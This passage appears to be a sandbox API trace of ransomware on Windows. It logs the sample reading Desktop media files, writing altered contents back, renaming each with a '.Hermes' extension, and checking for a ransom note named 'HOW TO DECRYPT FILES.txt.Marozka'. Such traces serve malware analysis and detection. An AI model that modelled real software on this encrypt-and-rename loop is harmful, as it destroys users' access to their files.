CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\0yuvxzey9-b4mf.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0088.555] GetFileType (hFile=0x304) returned 0x1 [0088.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0088.556] GetFileType (hFile=0x304) returned 0x1 [0088.556] WriteFile (in: hFile=0x304, lpBuffer=0x40c7e80*, nNumberOfBytesToWrite=0x16860, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x40c7e80*, lpNumberOfBytesWritten=0x19e3d0*=0x16860, lpOverlapped=0x0) returned 1 [0088.557] CloseHandle (hObject=0x304) returned 1 [0088.603] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi", lpFilePart=0x0) returned 0x2a [0088.603] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi.Hermes", lpFilePart=0x0) returned 0x31 [0088.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0088.603] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\0yuvxzey9-b4mf.avi"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783af130, ftCreationTime.dwHighDateTime=0x1d4d4a8, ftLastAccessTime.dwLowDateTime=0x6c9c1860, ftLastAccessTime.dwHighDateTime=0x1d4cc31, ftLastWriteTime.dwLowDateTime=0xae41ca1b, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x16860)) returned 1 [0088.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0088.603] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\0yuvxzey9-b4mf.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\0yuvxzey9-b4mf.avi.hermes")) returned 1 [0088.650] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3", lpFilePart=0x0) returned 0x24 [0088.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0088.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\dudtlsq3.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0088.650] GetFileType (hFile=0x304) returned 0x1 [0088.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0088.650] GetFileType (hFile=0x304) returned 0x1 [0088.650] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x4286 [0088.650] ReadFile (in: hFile=0x304, lpBuffer=0x305146c, nNumberOfBytesToRead=0x4286, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x305146c*, lpNumberOfBytesRead=0x19e3dc*=0x4286, lpOverlapped=0x0) returned 1 [0088.651] CloseHandle (hObject=0x304) returned 1 [0088.895] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0088.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0088.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0088.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0088.895] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3", lpFilePart=0x0) returned 0x24 [0088.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0088.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\dudtlsq3.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.306] GetFileType (hFile=0x304) returned 0x1 [0090.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.306] GetFileType (hFile=0x304) returned 0x1 [0090.306] WriteFile (in: hFile=0x304, lpBuffer=0x30b2f28*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x30b2f28*, lpNumberOfBytesWritten=0x19e3d0*=0x4290, lpOverlapped=0x0) returned 1 [0090.307] CloseHandle (hObject=0x304) returned 1 [0090.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3", lpFilePart=0x0) returned 0x24 [0090.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3.Hermes", lpFilePart=0x0) returned 0x2b [0090.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\dudtlsq3.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a7913c0, ftCreationTime.dwHighDateTime=0x1d4d5da, ftLastAccessTime.dwLowDateTime=0x29531450, ftLastAccessTime.dwHighDateTime=0x1d4d1ea, ftLastWriteTime.dwLowDateTime=0xaf4ccfa9, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x4290)) returned 1 [0090.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.309] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\dudtlsq3.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\dudTlSq3.mp3.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\dudtlsq3.mp3.hermes")) returned 1 [0090.309] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp", lpFilePart=0x0) returned 0x23 [0090.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\du_y8za.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.309] GetFileType (hFile=0x304) returned 0x1 [0090.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.310] GetFileType (hFile=0x304) returned 0x1 [0090.310] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x18121 [0090.311] ReadFile (in: hFile=0x304, lpBuffer=0x40de700, nNumberOfBytesToRead=0x18121, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x40de700*, lpNumberOfBytesRead=0x19e3dc*=0x18121, lpOverlapped=0x0) returned 1 [0090.312] CloseHandle (hObject=0x304) returned 1 [0090.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp", lpFilePart=0x0) returned 0x23 [0090.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\du_y8za.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.339] GetFileType (hFile=0x304) returned 0x1 [0090.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.339] GetFileType (hFile=0x304) returned 0x1 [0090.339] WriteFile (in: hFile=0x304, lpBuffer=0x4156d20*, nNumberOfBytesToWrite=0x18130, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x4156d20*, lpNumberOfBytesWritten=0x19e3d0*=0x18130, lpOverlapped=0x0) returned 1 [0090.342] CloseHandle (hObject=0x304) returned 1 [0090.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp", lpFilePart=0x0) returned 0x23 [0090.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp.Hermes", lpFilePart=0x0) returned 0x2a [0090.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\du_y8za.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7432d70, ftCreationTime.dwHighDateTime=0x1d4d5ea, ftLastAccessTime.dwLowDateTime=0xe0074070, ftLastAccessTime.dwHighDateTime=0x1d4c9cc, ftLastWriteTime.dwLowDateTime=0xaf519537, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x18130)) returned 1 [0090.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.344] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\du_y8za.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\du_y8ZA.bmp.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\du_y8za.bmp.hermes")) returned 1 [0090.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv", lpFilePart=0x0) returned 0x2e [0090.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\hijhv_tpssrlgqkxt1.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.345] GetFileType (hFile=0x304) returned 0x1 [0090.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.345] GetFileType (hFile=0x304) returned 0x1 [0090.345] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x8760 [0090.345] ReadFile (in: hFile=0x304, lpBuffer=0x3104a28, nNumberOfBytesToRead=0x8760, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3104a28*, lpNumberOfBytesRead=0x19e3dc*=0x8760, lpOverlapped=0x0) returned 1 [0090.345] CloseHandle (hObject=0x304) returned 1 [0090.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv", lpFilePart=0x0) returned 0x2e [0090.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\hijhv_tpssrlgqkxt1.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.402] GetFileType (hFile=0x304) returned 0x1 [0090.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.402] GetFileType (hFile=0x304) returned 0x1 [0090.402] WriteFile (in: hFile=0x304, lpBuffer=0x317bd40*, nNumberOfBytesToWrite=0x8770, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x317bd40*, lpNumberOfBytesWritten=0x19e3d0*=0x8770, lpOverlapped=0x0) returned 1 [0090.403] CloseHandle (hObject=0x304) returned 1 [0090.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv", lpFilePart=0x0) returned 0x2e [0090.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv.Hermes", lpFilePart=0x0) returned 0x35 [0090.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\hijhv_tpssrlgqkxt1.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca6d0e0, ftCreationTime.dwHighDateTime=0x1d4c72e, ftLastAccessTime.dwLowDateTime=0xedc5d8d0, ftLastAccessTime.dwHighDateTime=0x1d4d560, ftLastWriteTime.dwLowDateTime=0xaf5b1e38, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x8770)) returned 1 [0090.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.408] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\hijhv_tpssrlgqkxt1.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\hIJHv_tpsSRLGQkXt1.mkv.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\hijhv_tpssrlgqkxt1.mkv.hermes")) returned 1 [0090.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp", lpFilePart=0x0) returned 0x21 [0090.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\kxyvy.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.409] GetFileType (hFile=0x304) returned 0x1 [0090.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.409] GetFileType (hFile=0x304) returned 0x1 [0090.409] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x4bf [0090.409] ReadFile (in: hFile=0x304, lpBuffer=0x3184ef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3184ef4*, lpNumberOfBytesRead=0x19e3dc*=0x4bf, lpOverlapped=0x0) returned 1 [0090.409] CloseHandle (hObject=0x304) returned 1 [0090.497] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.497] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.498] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp", lpFilePart=0x0) returned 0x21 [0090.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\kxyvy.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.499] GetFileType (hFile=0x304) returned 0x1 [0090.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.499] GetFileType (hFile=0x304) returned 0x1 [0090.499] WriteFile (in: hFile=0x304, lpBuffer=0x2fe1e84*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x19e3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe1e84*, lpNumberOfBytesWritten=0x19e3a4*=0x4c0, lpOverlapped=0x0) returned 1 [0090.499] CloseHandle (hObject=0x304) returned 1 [0090.500] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp", lpFilePart=0x0) returned 0x21 [0090.500] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp.Hermes", lpFilePart=0x0) returned 0x28 [0090.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.500] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\kxyvy.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a9e10, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0x7dc41b20, ftLastAccessTime.dwHighDateTime=0x1d4c659, ftLastWriteTime.dwLowDateTime=0xaf696ca2, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0090.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.501] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\kxyvy.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kXyvY.bmp.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\kxyvy.bmp.hermes")) returned 1 [0090.501] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi", lpFilePart=0x0) returned 0x23 [0090.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ljwneyj.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.501] GetFileType (hFile=0x304) returned 0x1 [0090.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.501] GetFileType (hFile=0x304) returned 0x1 [0090.501] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x14d6a [0090.502] ReadFile (in: hFile=0x304, lpBuffer=0x416ee70, nNumberOfBytesToRead=0x14d6a, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x416ee70*, lpNumberOfBytesRead=0x19e3dc*=0x14d6a, lpOverlapped=0x0) returned 1 [0090.503] CloseHandle (hObject=0x304) returned 1 [0090.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi", 